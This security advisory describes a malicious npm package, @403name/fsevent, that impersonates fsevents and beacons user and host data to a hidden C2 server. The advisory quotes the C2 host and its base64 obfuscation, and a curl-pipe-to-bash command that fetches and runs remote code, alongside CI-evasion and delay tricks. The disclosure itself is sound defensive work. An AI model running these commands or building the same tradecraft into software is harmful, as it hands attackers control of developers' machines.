MAL-2026-5549 Malicious code in @403name/fsevent (npm)

On require(), index.js runs an IIFE that gates to macOS, skips when CI or GITHUB_ACTIONS is set, waits 30-90 seconds, and writes a one-shot marker at ~/.cache/.nyx-npm/f. It then spawns /bin/sh to (1) GET https://k7xm9q.xyz/api/clickfix-callback with URL-encoded query parameters bid, user (process.env.USER), host (os.hostname()), and the literal tag npm_fsevent — a beacon identifying the infected machine — and (2) execute curl -sSfL https://k7xm9q.xyz/api/payload/ | /bin/bash & disown, fetching and shell-executing attacker-controlled code with the developer's privileges. The C2 host is hidden behind atob('aHR0cHM6Ly9rN3htOXEueHl6') to evade keyword scanning. The package name @403name/fsevent and its description ("Native filesystem event watcher for Node.js — lightweight FSEvents wrapper with fallback polling") impersonate the well-known fsevents package to lure developers into installing and importing it. The combination of obfuscated C2, CI evasion, randomized delay, one-shot persistence marker, host-identifier exfiltration, and pipe-to-bash remote execution is unambiguous malicious tradecraft.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.